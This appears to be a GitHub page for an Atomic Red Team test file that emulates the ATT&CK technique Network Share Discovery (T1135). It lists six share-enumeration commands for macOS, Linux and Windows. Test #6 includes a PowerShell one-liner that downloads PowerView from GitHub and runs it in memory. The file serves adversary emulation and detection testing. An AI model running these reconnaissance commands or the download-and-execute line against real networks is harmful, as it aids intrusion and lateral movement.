Skip to content

Latest commit

 

History

History
197 lines (92 loc) · 4.52 KB

T1135.md

File metadata and controls

197 lines (92 loc) · 4.52 KB
Raw

T1135 - Network Share Discovery

Description from ATT&CK

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share.

Atomic Tests


Atomic Test #1 - Network Share Discovery

Network Share Discovery

Supported Platforms: macOS

Inputs:

Name Description Type Default Value
computer_name Computer name to find a mount on. string computer1

Attack Commands: Run with sh!

df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}


Atomic Test #2 - Network Share Discovery - linux

Network Share Discovery using smbstatus

Supported Platforms: Linux

Inputs:

Name Description Type Default Value
package_checker Package checking command. Debian - dpkg -s samba string rpm -q samba
package_installer Package installer command. Debian - apt install samba string yum install -y samba

Attack Commands: Run with bash!

smbstatus --shares

Dependencies: Run with bash!

Description: Package with smbstatus (samba) must exist on device
Check Prereq Commands:
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
sudo #{package_installer}


Atomic Test #3 - Network Share Discovery command prompt

Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution avalaible network shares will be displayed in the powershell session

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
computer_name Computer name to find a mount on. string localhost

Attack Commands: Run with command_prompt!

net view \\#{computer_name}


Atomic Test #4 - Network Share Discovery PowerShell

Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, avalaible network shares will be displayed in the powershell session

Supported Platforms: Windows

Attack Commands: Run with powershell!

get-smbshare


Atomic Test #5 - View available share drives

View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

net share


Atomic Test #6 - Share Discovery with PowerView

Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.

Supported Platforms: Windows

Attack Commands: Run with powershell!

IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose